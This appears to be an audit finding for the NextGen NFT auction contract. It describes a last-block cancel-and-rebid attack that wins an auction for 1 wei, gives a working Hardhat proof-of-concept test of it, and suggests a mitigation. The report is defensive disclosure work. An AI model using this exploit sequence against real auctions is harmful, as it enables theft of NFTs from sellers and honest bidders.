Vulnerability details

Vulnerability Details

Steps:

1. Make a high bet first that is unlikely to be overbet (1.3-2x market price)
2. Wait until the last block of the auction
3. Cancel your high bid, bet 1wei in the same block (easy with flashbots)
   1. (optional) claim auction in the same block. Requires that getAuctionEndTime is a valid block.timestamp (1/12 chance if selected in random, see more in this answer)

Result:

• The attacker won an NFT for 1wei with high probability (if noone backrun them)
• 1/12 of the times they 100% won't be backrun because they will be able to call claimAuction
  • The attacker can easily target only auctions where getAuctionEndTime is a valid block.timestamp

Variations: a. If you are not the first to make a bet you will have to pay 1wei more than the previous bidder if they don't cancel b. Depending on how much higher than the market price the attacker bid they will have to win ~50% of the times for 2x, 10% for 1.1x to be profitable with this strategy. In the worst case (flashbots fail to include their batch) the attacker will just buy an NFT with a higher than market price. When they win they pay 1 wei. c. An attacker can use several accounts to do several rebidding to discourage rebidding from real people even more. In this case it will be just a bigger batch of transactions to flashbots d. Can attack with lower success probability without flashbots, just risky that someone will back run, the cancelBid transaction won't be included in a block

Impact

High possibility to win expensive NFT in an auction with high probability paying 1 wei

Proof of Concept

Create a test file below and run it

// @ts-check

const {
    loadFixture,
  } = require("@nomicfoundation/hardhat-toolbox/network-helpers")
  const { expect } = require("chai");
  // @ts-ignore
  const { ethers } = require("hardhat");
  const fixturesDeployment = require("../scripts/fixturesDeployment.js")
  
  let signers
  let contracts
  

describe("NextGen Tests", function () {
    before(async function () {
      ;({ signers, contracts } = await loadFixture(fixturesDeployment))
      const auction = await ethers.getContractFactory(
        "auctionDemo",
      );
      contracts.hhAuction = await auction.deploy(
        await contracts.hhMinter.getAddress(),
        await contracts.hhCore.getAddress(),
        await contracts.hhAdmin.getAddress(),
      );
      await contracts.hhCore.addMinterContract(
        contracts.hhMinter
      );
      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )
    })

    context("Verify Fixture", () => {
        it("Contracts are deployed", async function () {
            expect(await contracts.hhAuction.getAddress()).to.not.equal(
                ethers.ZeroAddress,
              )
        })}
    );

    context("Vulnerability 1", () => {
        before(async function () {
            // prepare
            await contracts.hhCore.createCollection(
                "Test Collection 1",
                "Artist 1",
                "For testing",
                "www.test.com",
                "CCO",
                "https://ipfs.io/ipfs/hash/",
                "",
                ["desc"],
              );
            await contracts.hhAdmin.registerCollectionAdmin(
                1,
                signers.addr1.address,
                true,
            )
            await contracts.hhCore.connect(signers.addr1).setCollectionData(
                1, // _collectionID
                signers.addr1.address, // _collectionArtistAddress
                2, // _maxCollectionPurchases
                10000, // _collectionTotalSupply
                0, // _setFinalSupplyTimeAfterMint
            )
            await contracts.hhMinter.setCollectionCosts(
                1, // _collectionID
                0, // _collectionMintCost
                0, // _collectionEndMintCost
                0, // _rate
                2000, // _timePeriod
                1, // _salesOptions
                '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress
              )
        })
        it("attack", async function() {
            const startTimestamp = await getLatestBlockTimestamp();
            const endTimestamp = startTimestamp + 1000
            await contracts.hhMinter.setCollectionPhases(
                1, // _collectionID
                startTimestamp, // _allowlistStartTime
                endTimestamp, // _allowlistEndTime
                0, // _publicStartTime
                0, // _publicEndTime
                "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot
              )
            
            const initialOwnerAddress = signers.addr1.address;
            const bidder = signers.addr2;
            expect(initialOwnerAddress).not.eq(bidder.address);

            // start auction
            const tx = await contracts.hhMinter.mintAndAuction(
                initialOwnerAddress,
                "",
                0,
                1,
                endTimestamp, 
            );
            
            // check token minted
            const tokenId = await getLastMintedTokenId(tx);
            expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp);
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(initialOwnerAddress);
                
            contracts.hhCore.connect(signers.addr1).approve(
                await contracts.hhAuction.getAddress(),
                tokenId    
            )
            

            const auction = contracts.hhAuction.connect(bidder);

            // Make a big first bet (step 1)
            const firstBid = ethers.parseEther("1.0");
            await auction.participateToAuction(tokenId, {
                 value: firstBid
            });
            expect(await auction.auctionInfoData(tokenId.toString(), 0)).to.deep.equal([
                await bidder.getAddress(),
                firstBid,
                true,
            ]);
            const highestBidStart = await auction.returnHighestBid(tokenId);
            expect(highestBidStart).to.eq(firstBid);

            // set time (step 2)
            await ethers.provider.send("evm_setAutomine", [false]);
            await ethers.provider.send("evm_setIntervalMining", [0]);
            await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]);

            // send batch of 3 txs, easy with flashbots (step 3)
            await auction.cancelBid(tokenId, 0, { gasLimit: 1_000_000 });
            await auction.participateToAuction(tokenId, {
                value: 1,
                gasLimit: 1_000_000,
            });
            await auction.claimAuction(tokenId, {gasLimit: 1_000_000});

            await ethers.provider.send("evm_mine");

            // check mined correctly
            expect(await getLatestBlockTimestamp()).eq(endTimestamp);


            // check bids
            expect(await auction.auctionInfoData(tokenId.toString(), 0)).to.deep.equal([
                await bidder.getAddress(),
                firstBid,
                false,
            ]);
            expect(await auction.auctionInfoData(tokenId.toString(), 1)).to.deep.equal([
                await bidder.getAddress(),
                1,
                true,
            ]);

            expect(await auction.returnHighestBid(tokenId)).to.eq(1);
            expect(await auction.returnHighestBidder(tokenId)).to.eq(bidder.address);

            // check owner
            expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(bidder.address);
        })
    })
});
async function getLastMintedTokenId(tx) {
    return (await tx.wait()).logs
        .map(log => {
            try {
                return new ethers.Interface([
                    "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)"
                ]).parseLog(log);
            } catch (error) {
                return null;
            }
        })
        .find(parsedLog => parsedLog && parsedLog.name === "Transfer")
        .args.tokenId;
}

async function getLatestBlockTimestamp() {
    // @ts-ignore
    return (await ethers.provider.getBlock("latest")).timestamp;
}

Tools Used

Manual review

Recommended Mitigation Steps

Consider disallowing canceling the winning bet. Changing >= to > in block.timestamp >= minter.getAuctionEndTime(_tokenid) in claimAuction will help to make an attack more risky because the attacker won't be able to cancel, rebid and finish auction in the same block.

Assessed type

Other